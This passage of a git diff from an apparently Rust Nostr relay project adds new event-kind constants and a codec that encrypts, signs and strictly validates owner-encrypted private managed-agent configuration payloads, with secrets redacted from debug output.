+        true
+    }
 }
 
 /// A no-op tracer for production. Zero cost: the build can omit emission
@@ -324,4 +345,9 @@ pub struct NoopTracer;
 
 impl Tracer for NoopTracer {
     fn record(&self, _step: TraceStep) {}
+
+    /// Nothing is observed, so emitters should skip building inputs.
+    fn enabled(&self) -> bool {
+        false
+    }
 }
diff --git a/crates/buzz-core/src/kind.rs b/crates/buzz-core/src/kind.rs
index e5f67f671f..3c6f1d5913 100644
--- a/crates/buzz-core/src/kind.rs
+++ b/crates/buzz-core/src/kind.rs
@@ -108,6 +108,15 @@ pub const KIND_EVENT_REMINDER: u32 = 30300;
 /// dedicated push lease tables.
 pub const KIND_PUSH_LEASE: u32 = 30350;
 
+/// NIP-PMA: owner-encrypted private managed-agent aggregate.
+///
+/// Addressed by `(owner pubkey, kind, agent pubkey)`. The signed outer tags
+/// expose only the agent coordinate, CAS generation/predecessor, and active/deleted
+/// state required for relay enforcement. Content is NIP-44 v2 encrypted from
+/// the owner's key to itself and contains the runnable identity/configuration
+/// plus exact public projection bindings. See `docs/nips/NIP-PMA.md`.
+pub const KIND_PRIVATE_MANAGED_AGENT: u32 = 30179;
+
 /// Kinds whose stored events are readable only by their author.
 ///
 /// The relay must never reveal the existence, count, tags, content, schedule,
@@ -117,7 +126,11 @@ pub const KIND_PUSH_LEASE: u32 = 30350;
 ///
 /// Currently a tiny linear set. If this grows past ~4 kinds, convert to a
 /// compile-time bitset or sorted array with binary search for hot-path use.
-pub const AUTHOR_ONLY_KINDS: &[u32] = &[KIND_EVENT_REMINDER, KIND_PUSH_LEASE];
+pub const AUTHOR_ONLY_KINDS: &[u32] = &[
+    KIND_EVENT_REMINDER,
+    KIND_PUSH_LEASE,
+    KIND_PRIVATE_MANAGED_AGENT,
+];
 
 /// Kinds that require a result-level read gate beyond the filter-layer
 /// `#p` check: even a reader who knows an event id MUST match the event's
@@ -609,6 +622,15 @@ pub const KIND_GIT_STATUS_CLOSED: u32 = 1632;
 /// NIP-34: Status — Draft.
 pub const KIND_GIT_STATUS_DRAFT: u32 = 1633;
 
+/// NIP-MP: Multi-repo project — a named grouping of `kind:30617` repository
+/// announcements (parameterized replaceable, d=project slug).
+///
+/// Members are `a` tags holding `30617:<owner-hex>:<repo-d>` coordinates, so one
+/// project may span repositories owned by different pubkeys. The signer gains no
+/// authority over any member: push policy reads the repository's own
+/// announcement, never a project. See `docs/nips/NIP-MP.md`.
+pub const KIND_PROJECT: u32 = 30621;
+
 /// All registered kind constants — used for duplicate detection and iteration.
 pub const ALL_KINDS: &[u32] = &[
     KIND_PROFILE,
@@ -634,6 +656,7 @@ pub const ALL_KINDS: &[u32] = &[
     KIND_TEAM,
     KIND_MANAGED_AGENT,
     KIND_TEAM_CATALOG,
+    KIND_PRIVATE_MANAGED_AGENT,
     KIND_REPORT,
     KIND_PRODUCT_FEEDBACK,
     KIND_NIP29_PUT_USER,
@@ -739,6 +762,7 @@ pub const ALL_KINDS: &[u32] = &[
     KIND_GIT_STATUS_MERGED,
     KIND_GIT_STATUS_CLOSED,
     KIND_GIT_STATUS_DRAFT,
+    KIND_PROJECT,
 ];
 
 /// Returns `true` if `kind` is in the ephemeral range (20000–29999).
@@ -833,9 +857,11 @@ const _: () = assert!(is_parameterized_replaceable(KIND_PERSONA)); // 30175 ∈
 const _: () = assert!(is_parameterized_replaceable(KIND_TEAM)); // 30176 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_MANAGED_AGENT)); // 30177 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_TEAM_CATALOG)); // 30178 ∈ 30000–39999
+const _: () = assert!(is_parameterized_replaceable(KIND_PRIVATE_MANAGED_AGENT)); // 30179 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_WORKFLOW_DEF)); // 30620 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_EVENT_REMINDER)); // 30300 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_DM_VISIBILITY)); // 30622 ∈ 30000–39999
+const _: () = assert!(is_parameterized_replaceable(KIND_PROJECT)); // 30621 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_THREAD_SUMMARY)); // 39005 ∈ 30000–39999
 const _: () = assert!(is_parameterized_replaceable(KIND_WINDOW_BOUNDS)); // 39006 ∈ 30000–39999
 
diff --git a/crates/buzz-core/src/lib.rs b/crates/buzz-core/src/lib.rs
index 66b7708f1d..7424915c83 100644
--- a/crates/buzz-core/src/lib.rs
+++ b/crates/buzz-core/src/lib.rs
@@ -32,6 +32,8 @@ pub mod observer;
 pub mod pairing;
 /// Presence status types shared across crates.
 pub mod presence;
+/// NIP-PMA owner-encrypted private managed-agent wire codec.
+pub mod private_managed_agent;
 /// Canonical relay runtime identities.
 pub mod relay;
 /// Tenant identity — the server-resolved community key carried on scoped paths.
diff --git a/crates/buzz-core/src/private_managed_agent.rs b/crates/buzz-core/src/private_managed_agent.rs
new file mode 100644
index 0000000000..180dd6fa0c
--- /dev/null
+++ b/crates/buzz-core/src/private_managed_agent.rs
@@ -0,0 +1,1134 @@
+//! NIP-PMA private managed-agent wire codec.
+//!
+//! This module defines and validates the inert wire format only. Relays must
+//! not accept [`KIND_PRIVATE_MANAGED_AGENT`](crate::kind::KIND_PRIVATE_MANAGED_AGENT)
+//! until the dedicated privacy and aggregate-CAS transactions are deployed.
+
+use std::collections::{BTreeMap, HashSet};
+use std::fmt;
+use std::str::FromStr;
+
+use nostr::nips::nip44::{self, Version};
+use nostr::secp256k1::schnorr::Signature;
+use nostr::secp256k1::Message;
+use nostr::{Event, EventBuilder, EventId, Keys, Kind, PublicKey, Tag, SECP256K1};
+use serde::de::{DeserializeSeed, Deserializer, MapAccess, SeqAccess, Visitor};
+use serde::{Deserialize, Serialize};
+use serde_json::Value;
+use sha2::{Digest, Sha256};
+use thiserror::Error;
+
+use crate::kind::{KIND_MANAGED_AGENT, KIND_PERSONA, KIND_PRIVATE_MANAGED_AGENT};
+
+/// Wire-format discriminator for decrypted private managed-agent payloads.
+pub const FORMAT: &str = "buzz-private-managed-agent";
+/// Current decrypted payload schema version.
+pub const VERSION: u32 = 1;
+/// NIP-44 v2 plaintext limit.
+pub const MAX_PLAINTEXT_BYTES: usize = 65_535;
+/// Maximum plausible NIP-44 v2 ciphertext length.
+pub const MAX_CIPHERTEXT_BYTES: usize = 87_472;
+/// Largest integer represented exactly by interoperable JSON implementations.
+pub const MAX_SAFE_GENERATION: u64 = (1_u64 << 53) - 1;
+/// Maximum number of environment variables in one private payload.
+pub const MAX_ENV_VARS: usize = 256;
+/// Maximum UTF-8 bytes in one environment-variable key.
+pub const MAX_ENV_KEY_BYTES: usize = 256;
+/// Maximum UTF-8 bytes in one environment-variable value.
+pub const MAX_ENV_VALUE_BYTES: usize = 16_384;
+/// Maximum number of explicit agent arguments.
+pub const MAX_AGENT_ARGS: usize = 256;
+/// Maximum UTF-8 bytes in one argument.
+pub const MAX_AGENT_ARG_BYTES: usize = 8_192;
+/// Maximum serialized bytes accepted for an extension/recovery/config value.
+pub const MAX_VALUE_BYTES: usize = 32_768;
+
+/// Errors returned by the private managed-agent codec.
+#[derive(Debug, Error, PartialEq, Eq)]
+pub enum Error {
+    /// The signed outer event is malformed or does not match the expected owner.
+    #[error("invalid private managed-agent envelope: {0}")]
+    InvalidEnvelope(String),
+    /// The ciphertext could not be authenticated/decrypted. Deliberately redacted.
+    #[error("private managed-agent payload could not be decrypted")]
+    Decrypt,
+    /// The decrypted JSON is malformed, ambiguous, or semantically invalid.
+    #[error("invalid private managed-agent payload: {0}")]
+    InvalidPayload(String),
+    /// Encryption failed.
+    #[error("private managed-agent encryption failed")]
+    Encrypt,
+    /// Event signing failed.
+    #[error("private managed-agent signing failed")]
+    Sign,
+}
+
+/// Authoritative lifecycle state repeated in the outer tags and ciphertext.
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "lowercase")]
+pub enum State {
+    /// Runnable aggregate.
+    Active,
+    /// Anti-resurrection tombstone.
+    Deleted,
+}
+
+impl State {
+    fn as_str(self) -> &'static str {
+        match self {
+            Self::Active => "active",
+            Self::Deleted => "deleted",
+        }
+    }
+}
+
+/// Versioned signed-event recovery material for a bound public projection.
+///
+/// Retaining the complete signed event makes reconstruction unambiguous: its
+/// signature, ID, author, kind, coordinate, and exact content bytes can all be
+/// checked without trusting replaceable-event history.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct ProjectionRecoveryV1 {
+    /// Recovery schema version. Version 1 stores one complete signed event.
+    pub version: u32,
+    /// Exact signed public projection event.
+    pub signed_event: Event,
+}
+
+/// Complete definition projection binding and recovery material.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct DefinitionBinding {
+    /// CAS-managed definition revision pinned by this aggregate.
+    pub revision: u64,
+    /// Exact signed kind:30175 event ID.
+    pub event_id: String,
+    /// Lowercase SHA-256 of the exact projection content bytes.
+    pub content_sha256: String,
+    /// Versioned signed event sufficient to reproduce the projection.
+    pub recovery: ProjectionRecoveryV1,
+}
+
+/// Complete kind:30177 projection binding and recovery material.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct InstanceBinding {
+    /// Exact signed kind:30177 event ID.
+    pub event_id: String,
+    /// Lowercase SHA-256 of the exact projection content bytes.
+    pub content_sha256: String,
+    /// Versioned signed event sufficient to reproduce the projection.
+    pub recovery: ProjectionRecoveryV1,
+}
+
+/// Secret agent identity material. It never appears in public projections.
+#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct PrivateIdentity {
+    /// Agent private key in nsec form.
+    pub private_key_nsec: String,
+    /// Optional NIP-OA owner attestation JSON.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub auth_tag: Option<String>,
+}
+
+impl fmt::Debug for PrivateIdentity {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter
+            .debug_struct("PrivateIdentity")
+            .field("private_key_nsec", &"<redacted>")
+            .field("auth_tag", &self.auth_tag.as_ref().map(|_| "<redacted>"))
+            .finish()
+    }
+}
+
+/// Portable private runnable configuration.
+#[derive(Clone, PartialEq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct PrivateConfig {
+    /// Explicit kind:30175 coordinate, when definition-backed.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub definition_coordinate: Option<String>,
+    /// Intended relay endpoint; validated again on each device before use.
+    pub relay_url: String,
+    /// Explicit harness override; never launched without local validation.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub agent_command_override: Option<String>,
+    /// Explicit harness arguments; validated again on each device.
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub agent_args: Vec<String>,
+    /// Idle timeout in seconds.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub idle_timeout_seconds: Option<u64>,
+    /// Absolute turn timeout in seconds.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub max_turn_duration_seconds: Option<u64>,
+    /// Secret environment overrides.
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    pub env_vars: BTreeMap<String, String>,
+    /// Versioned backend configuration. Device/provider validation is required.
+    pub backend: Value,
+    /// Durable remote backend identity; ownership/existence is device-validated.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub backend_agent_id: Option<String>,
+    /// Portable team linkage.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub team_id: Option<String>,
+    /// Portable identity within a team.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub persona_name_in_team: Option<String>,
+    /// Versioned provider/definition relay-mesh marker.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub relay_mesh: Option<Value>,
+}
+
+impl fmt::Debug for PrivateConfig {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter
+            .debug_struct("PrivateConfig")
+            .field("contents", &"<redacted>")
+            .finish()
+    }
+}
+
+/// Fields present only when [`Payload::state`] is [`State::Active`].
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct ActivePayload {
+    /// Exact definition projection binding.
+    pub definition: DefinitionBinding,
+    /// Exact public instance projection binding.
+    pub instance_projection: InstanceBinding,
+    /// Secret identity material.
+    pub identity: PrivateIdentity,
+    /// Private portable/device-validated configuration.
+    pub config: PrivateConfig,
+}
+
+/// Decrypted private managed-agent payload.
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+#[serde(deny_unknown_fields)]
+pub struct Payload {
+    /// Always [`FORMAT`].
+    pub format: String,
+    /// Always [`VERSION`].
+    pub version: u32,
+    /// Agent pubkey and event `d` coordinate.
+    pub agent_pubkey: String,
+    /// Owner pubkey and signed event author.
+    pub owner_pubkey: String,
+    /// Monotonic CAS generation.
+    pub generation: u64,
+    /// Exact predecessor event ID; absent only for generation one.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub previous_event_id: Option<String>,
+    /// Lifecycle state, repeated in the outer `state` tag.
+    pub state: State,
+    /// RFC3339 bookkeeping timestamp; never used for conflict resolution.
+    pub updated_at: String,
+    /// Required for active records and forbidden for tombstones.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub active: Option<ActivePayload>,
+    /// Required for tombstones and forbidden for active records.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub deleted_at: Option<String>,
+    /// Forward-compatible namespaced data. Core semantics must never depend on it.
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    pub extensions: BTreeMap<String, Value>,
+}
+
+/// Validated public metadata from a private managed-agent event.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Envelope {
+    /// Agent pubkey from `d`.
+    pub agent_pubkey: PublicKey,
+    /// Owner pubkey from the signed event author.
+    pub owner_pubkey: PublicKey,
+    /// CAS generation from `g`.
+    pub generation: u64,
+    /// CAS predecessor from `prev`.
+    pub previous_event_id: Option<EventId>,
+    /// Lifecycle state from `state`.
+    pub state: State,
+}
+
+/// Compute the lowercase SHA-256 binding for exact projection content bytes.
+pub fn content_sha256(content: &[u8]) -> String {
+    hex::encode(Sha256::digest(content))
+}
+
+/// Validate a signed outer envelope before any decryption.
+pub fn validate_envelope(event: &Event, expected_owner: &PublicKey) -> Result<Envelope, Error> {
+    if event.kind.as_u16() as u32 != KIND_PRIVATE_MANAGED_AGENT {
+        return Err(Error::InvalidEnvelope("wrong kind".into()));
+    }
+    if &event.pubkey != expected_owner {
+        return Err(Error::InvalidEnvelope(
+            "author is not expected owner".into(),
+        ));
+    }
+    if !event.verify_id() || !event.verify_signature() {
+        return Err(Error::InvalidEnvelope(
+            "invalid event id or signature".into(),
+        ));
+    }
+    if event.content.is_empty() || event.content.len() > MAX_CIPHERTEXT_BYTES {
+        return Err(Error::InvalidEnvelope("invalid ciphertext length".into()));
+    }
+
+    let mut d = None;
+    let mut g = None;
+    let mut prev = None;
+    let mut state = None;
+    for tag in event.tags.iter() {
+        let parts = tag.as_slice();
+        if parts.len() != 2 {
+            return Err(Error::InvalidEnvelope(
+                "every tag must have exactly one value".into(),
+            ));
+        }
+        let slot = match parts[0].as_str() {
+            "d" => &mut d,
+            "g" => &mut g,
+            "prev" => &mut prev,
+            "state" => &mut state,
+            name => return Err(Error::InvalidEnvelope(format!("unexpected tag: {name}"))),
+        };
+        if slot.replace(parts[1].clone()).is_some() {
+            return Err(Error::InvalidEnvelope(format!(
+                "duplicate {} tag",
+                parts[0]
+            )));
+        }
+    }
+
+    let agent_pubkey = parse_canonical_pubkey(
+        "d",
+        d.as_deref()
+            .ok_or_else(|| Error::InvalidEnvelope("missing d tag".into()))?,
+    )?;
+    let owner_pubkey = *expected_owner;
+    let generation = parse_generation(
+        g.as_deref()
+            .ok_or_else(|| Error::InvalidEnvelope("missing g tag".into()))?,
+    )?;
+    let previous_event_id = match prev {
+        Some(value) => Some(parse_event_id("prev", &value)?),
+        None => None,
+    };
+    if (generation == 1) != previous_event_id.is_none() {
+        return Err(Error::InvalidEnvelope(
+            "prev must be absent exactly at generation 1".into(),
+        ));
+    }
+    let state = match state.as_deref() {
+        Some("active") => State::Active,
+        Some("deleted") => State::Deleted,
+        Some(_) => return Err(Error::InvalidEnvelope("invalid state tag".into())),
+        None => return Err(Error::InvalidEnvelope("missing state tag".into())),
+    };
+    Ok(Envelope {
+        agent_pubkey,
+        owner_pubkey,
+        generation,
+        previous_event_id,
+        state,
+    })
+}
+
+/// Encrypt and sign an inert private managed-agent event candidate.
+pub fn build_event(owner_keys: &Keys, payload: &Payload, created_at: u64) -> Result<Event, Error> {
+    validate_payload(payload)?;
+    if payload.owner_pubkey != owner_keys.public_key().to_hex() {
+        return Err(Error::InvalidPayload(
+            "owner_pubkey does not match signing key".into(),
+        ));
+    }
+    let plaintext = serde_json::to_vec(payload).map_err(|_| Error::Encrypt)?;
+    if plaintext.len() > MAX_PLAINTEXT_BYTES {
+        return Err(Error::InvalidPayload(
+            "plaintext exceeds NIP-44 limit".into(),
+        ));
+    }
+    let plaintext = std::str::from_utf8(&plaintext).map_err(|_| Error::Encrypt)?;
+    let ciphertext = nip44::encrypt(
+        owner_keys.secret_key(),
+        &owner_keys.public_key(),
+        plaintext,
+        Version::V2,
+    )
+    .map_err(|_| Error::Encrypt)?;
+    let mut tags = vec![
+        parse_tag(["d", payload.agent_pubkey.as_str()])?,
+        parse_tag(["g", payload.generation.to_string().as_str()])?,
+        parse_tag(["state", payload.state.as_str()])?,
+    ];
+    if let Some(previous) = payload.previous_event_id.as_deref() {
+        tags.push(parse_tag(["prev", previous])?);
+    }
+    EventBuilder::new(Kind::Custom(KIND_PRIVATE_MANAGED_AGENT as u16), ciphertext)
+        .tags(tags)
+        .custom_created_at(nostr::Timestamp::from(created_at))
+        .sign_with_keys(owner_keys)
+        .map_err(|_| Error::Sign)
+}
+
+/// Validate, owner-self decrypt, strictly parse, and cross-check a payload.
+pub fn validate_and_decrypt(
+    event: &Event,
+    owner_keys: &Keys,
+) -> Result<(Envelope, Payload), Error> {
+    let envelope = validate_envelope(event, &owner_keys.public_key())?;
+    let plaintext = nip44::decrypt(
+        owner_keys.secret_key(),
+        &owner_keys.public_key(),
+        &event.content,
+    )
+    .map_err(|_| Error::Decrypt)?;
+    if plaintext.len() > MAX_PLAINTEXT_BYTES {
+        return Err(Error::Decrypt);
+    }
+    let value = parse_strict_json(plaintext.as_bytes())?;
+    let payload: Payload =
+        serde_json::from_value(value).map_err(|e| Error::InvalidPayload(format!("schema: {e}")))?;
+    validate_payload(&payload)?;
+    if payload.agent_pubkey != envelope.agent_pubkey.to_hex()
+        || payload.owner_pubkey != envelope.owner_pubkey.to_hex()
+        || payload.generation != envelope.generation
+        || payload.state != envelope.state
+        || payload.previous_event_id.as_deref()
+            != envelope
+                .previous_event_id
+                .as_ref()
+                .map(EventId::to_hex)
+                .as_deref()
+    {
+        return Err(Error::InvalidPayload(
+            "outer/inner metadata mismatch".into(),
+        ));
+    }
+    Ok((envelope, payload))
+}
+
+/// Validate decrypted payload semantics independently of encryption.
+pub fn validate_payload(payload: &Payload) -> Result<(), Error> {
+    if payload.format != FORMAT || payload.version != VERSION {
+        return Err(Error::InvalidPayload(
+            "unsupported format or version".into(),
+        ));
+    }
+    let agent = parse_canonical_pubkey("agent_pubkey", &payload.agent_pubkey)
+        .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    parse_canonical_pubkey("owner_pubkey", &payload.owner_pubkey)
+        .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    validate_generation_and_prev(payload.generation, payload.previous_event_id.as_deref())?;
+    parse_rfc3339("updated_at", &payload.updated_at)?;
+    for (key, value) in &payload.extensions {
+        if key.is_empty() || key.len() > 128 || !key.contains(':') {
+            return Err(Error::InvalidPayload(
+                "extension keys must be non-empty namespaced strings <= 128 bytes".into(),
+            ));
+        }
+        validate_value_size("extension", value)?;
+    }
+    match payload.state {
+        State::Active => {
+            if payload.deleted_at.is_some() {
+                return Err(Error::InvalidPayload(
+                    "active payload must not contain deleted_at".into(),
+                ));
+            }
+            let active = payload.active.as_ref().ok_or_else(|| {
+                Error::InvalidPayload("active payload missing active body".into())
+            })?;
+            validate_active(active, &agent, &payload.owner_pubkey)?;
+        }
+        State::Deleted => {
+            if payload.active.is_some() {
+                return Err(Error::InvalidPayload(
+                    "deleted payload must not contain active body".into(),
+                ));
+            }
+            parse_rfc3339(
+                "deleted_at",
+                payload.deleted_at.as_deref().ok_or_else(|| {
+                    Error::InvalidPayload("deleted payload missing deleted_at".into())
+                })?,
+            )?;
+        }
+    }
+    Ok(())
+}
+
+fn validate_active(
+    active: &ActivePayload,
+    agent: &PublicKey,
+    owner_pubkey: &str,
+) -> Result<(), Error> {
+    if active.definition.revision == 0 || active.definition.revision > MAX_SAFE_GENERATION {
+        return Err(Error::InvalidPayload("invalid definition revision".into()));
+    }
+    let definition_d =
+        parse_definition_coordinate(active.config.definition_coordinate.as_deref(), owner_pubkey)?;
+    validate_binding(
+        "definition",
+        KIND_PERSONA,
+        owner_pubkey,
+        Some(&definition_d),
+        &active.definition.event_id,
+        &active.definition.content_sha256,
+        &active.definition.recovery,
+    )?;
+    validate_binding(
+        "instance_projection",
+        KIND_MANAGED_AGENT,
+        owner_pubkey,
+        Some(&agent.to_hex()),
+        &active.instance_projection.event_id,
+        &active.instance_projection.content_sha256,
+        &active.instance_projection.recovery,
+    )?;
+    let agent_keys = Keys::parse(active.identity.private_key_nsec.trim())
+        .map_err(|_| Error::InvalidPayload("invalid agent nsec".into()))?;
+    if agent_keys.public_key() != *agent {
+        return Err(Error::InvalidPayload(
+            "agent nsec does not derive agent_pubkey".into(),
+        ));
+    }
+    if let Some(auth_tag) = &active.identity.auth_tag {
+        validate_auth_tag(auth_tag, owner_pubkey, agent)?;
+    }
+    let config = &active.config;
+    if config.relay_url.is_empty() || config.relay_url.len() > 4096 {
+        return Err(Error::InvalidPayload("invalid relay_url length".into()));
+    }
+    if config.agent_args.len() > MAX_AGENT_ARGS
+        || config
+            .agent_args
+            .iter()
+            .any(|arg| arg.len() > MAX_AGENT_ARG_BYTES)
+    {
+        return Err(Error::InvalidPayload("agent_args exceed limits".into()));
+    }
+    if config.env_vars.len() > MAX_ENV_VARS
+        || config.env_vars.iter().any(|(k, v)| {
+            k.is_empty() || k.len() > MAX_ENV_KEY_BYTES || v.len() > MAX_ENV_VALUE_BYTES
+        })
+    {
+        return Err(Error::InvalidPayload("env_vars exceed limits".into()));
+    }
+    validate_value_size("backend", &config.backend)?;
+    if let Some(mesh) = &config.relay_mesh {
+        validate_value_size("relay_mesh", mesh)?;
+    }
+    Ok(())
+}
+
+fn validate_auth_tag(auth_tag: &str, expected_owner: &str, agent: &PublicKey) -> Result<(), Error> {
+    if auth_tag.is_empty() || auth_tag.len() > 4096 {
+        return Err(Error::InvalidPayload("invalid auth_tag".into()));
+    }
+    let parts: Vec<String> = serde_json::from_str(auth_tag)
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?;
+    if parts.len() != 4 || parts[0] != "auth" || parts[1] != expected_owner || !parts[2].is_empty()
+    {
+        return Err(Error::InvalidPayload(
+            "auth_tag must be an unconditional attestation for this owner".into(),
+        ));
+    }
+    parse_canonical_pubkey("auth_tag owner", &parts[1])
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?;
+    if agent.to_hex() == expected_owner {
+        return Err(Error::InvalidPayload(
+            "auth_tag must attest a distinct agent key".into(),
+        ));
+    }
+    if parts[3].len() != 128
+        || !parts[3]
+            .bytes()
+            .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase())
+    {
+        return Err(Error::InvalidPayload("invalid auth_tag".into()));
+    }
+    let signature = Signature::from_str(&parts[3])
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?;
+    let preimage = format!("nostr:agent-auth:{}:", agent.to_hex());
+    let digest = Sha256::digest(preimage.as_bytes());
+    let message = Message::from_digest(digest.into());
+    let owner = PublicKey::from_hex(&parts[1])
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?;
+    let owner = owner
+        .xonly()
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag".into()))?;
+    SECP256K1
+        .verify_schnorr(&signature, &message, &owner)
+        .map_err(|_| Error::InvalidPayload("invalid auth_tag signature".into()))
+}
+
+fn parse_definition_coordinate(
+    coordinate: Option<&str>,
+    owner_pubkey: &str,
+) -> Result<String, Error> {
+    let coordinate = coordinate.ok_or_else(|| {
+        Error::InvalidPayload("active payload missing definition_coordinate".into())
+    })?;
+    let mut parts = coordinate.splitn(3, ':');
+    let kind = parts.next();
+    let owner = parts.next();
+    let d = parts.next();
+    if kind != Some("30175") || owner != Some(owner_pubkey) || d.is_none_or(str::is_empty) {
+        return Err(Error::InvalidPayload(
+            "definition_coordinate must be 30175:<owner>:<non-empty d>".into(),
+        ));
+    }
+    Ok(d.unwrap().to_owned())
+}
+
+fn validate_binding(
+    label: &str,
+    expected_kind: u32,
+    owner_pubkey: &str,
+    expected_d: Option<&str>,
+    event_id: &str,
+    hash: &str,
+    recovery: &ProjectionRecoveryV1,
+) -> Result<(), Error> {
+    parse_event_id(label, event_id).map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    parse_lower_hex_32(&format!("{label}.content_sha256"), hash)
+        .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    if recovery.version != 1 {
+        return Err(Error::InvalidPayload(format!(
+            "unsupported {label} recovery version"
+        )));
+    }
+    let event = &recovery.signed_event;
+    if !event.verify_id() || !event.verify_signature() {
+        return Err(Error::InvalidPayload(format!(
+            "invalid {label} recovery event"
+        )));
+    }
+    if event.id.to_hex() != event_id
+        || event.kind.as_u16() as u32 != expected_kind
+        || event.pubkey.to_hex() != owner_pubkey
+        || content_sha256(event.content.as_bytes()) != hash
+    {
+        return Err(Error::InvalidPayload(format!(
+            "{label} recovery does not match binding"
+        )));
+    }
+    let d_tags: Vec<_> = event
+        .tags
+        .iter()
+        .filter_map(|tag| {
+            let parts = tag.as_slice();
+            (parts.first().map(String::as_str) == Some("d")).then_some(parts)
+        })
+        .collect();
+    if d_tags.len() != 1 || d_tags[0].len() != 2 || d_tags[0][1].is_empty() {
+        return Err(Error::InvalidPayload(format!(
+            "{label} recovery must have exactly one non-empty d tag"
+        )));
+    }
+    if expected_d.is_some_and(|expected| d_tags[0][1] != expected) {
+        return Err(Error::InvalidPayload(format!(
+            "{label} recovery has wrong coordinate"
+        )));
+    }
+    validate_value_size(
+        label,
+        &serde_json::to_value(recovery)
+            .map_err(|_| Error::InvalidPayload(format!("invalid {label}")))?,
+    )
+}
+
+fn validate_generation_and_prev(generation: u64, previous: Option<&str>) -> Result<(), Error> {
+    if generation == 0 || generation > MAX_SAFE_GENERATION {
+        return Err(Error::InvalidPayload(
+            "generation must be a positive safe integer".into(),
+        ));
+    }
+    if (generation == 1) != previous.is_none() {
+        return Err(Error::InvalidPayload(
+            "previous_event_id must be absent exactly at generation 1".into(),
+        ));
+    }
+    if let Some(value) = previous {
+        parse_event_id("previous_event_id", value)
+            .map_err(|e| Error::InvalidPayload(e.to_string()))?;
+    }
+    Ok(())
+}
+
+fn validate_value_size(label: &str, value: &Value) -> Result<(), Error> {
+    let len = serde_json::to_vec(value)
+        .map_err(|_| Error::InvalidPayload(format!("invalid {label}")))?
+        .len();
+    if len > MAX_VALUE_BYTES {
+        return Err(Error::InvalidPayload(format!("{label} exceeds size limit")));
+    }
+    Ok(())
+}
+
+fn parse_rfc3339(label: &str, value: &str) -> Result<(), Error> {
+    chrono::DateTime::parse_from_rfc3339(value)
+        .map(|_| ())
+        .map_err(|_| Error::InvalidPayload(format!("{label} must be RFC3339")))
+}
+
+fn parse_generation(value: &str) -> Result<u64, Error> {
+    if value.is_empty()
+        || (value.len() > 1 && value.starts_with('0'))
+        || !value.bytes().all(|b| b.is_ascii_digit())
+    {
+        return Err(Error::InvalidEnvelope("g must be canonical decimal".into()));
+    }
+    let generation = value
+        .parse::<u64>()
+        .map_err(|_| Error::InvalidEnvelope("invalid g tag".into()))?;
+    if generation == 0 || generation > MAX_SAFE_GENERATION {
+        return Err(Error::InvalidEnvelope(
+            "g must be a positive safe integer".into(),
+        ));
+    }
+    Ok(generation)
+}
+
+fn parse_canonical_pubkey(label: &str, value: &str) -> Result<PublicKey, Error> {
+    parse_lower_hex_32(label, value)?;
+    let key = PublicKey::from_hex(value)
+        .map_err(|_| Error::InvalidEnvelope(format!("invalid {label}")))?;
+    key.xonly()
+        .map_err(|_| Error::InvalidEnvelope(format!("invalid {label} curve point")))?;
+    Ok(key)
+}
+
+fn parse_event_id(label: &str, value: &str) -> Result<EventId, Error> {
+    parse_lower_hex_32(label, value)?;
+    EventId::from_hex(value).map_err(|_| Error::InvalidEnvelope(format!("invalid {label}")))
+}
+
+fn parse_lower_hex_32(label: &str, value: &str) -> Result<(), Error> {
+    if value.len() != 64
+        || !value
+            .bytes()
+            .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase())
+    {
+        return Err(Error::InvalidEnvelope(format!(
+            "{label} must be 64 lowercase hex chars"
+        )));
+    }
+    Ok(())
+}
+
+fn parse_tag<const N: usize>(parts: [&str; N]) -> Result<Tag, Error> {
+    Tag::parse(parts).map_err(|_| Error::InvalidEnvelope("failed to build tag".into()))
+}
+
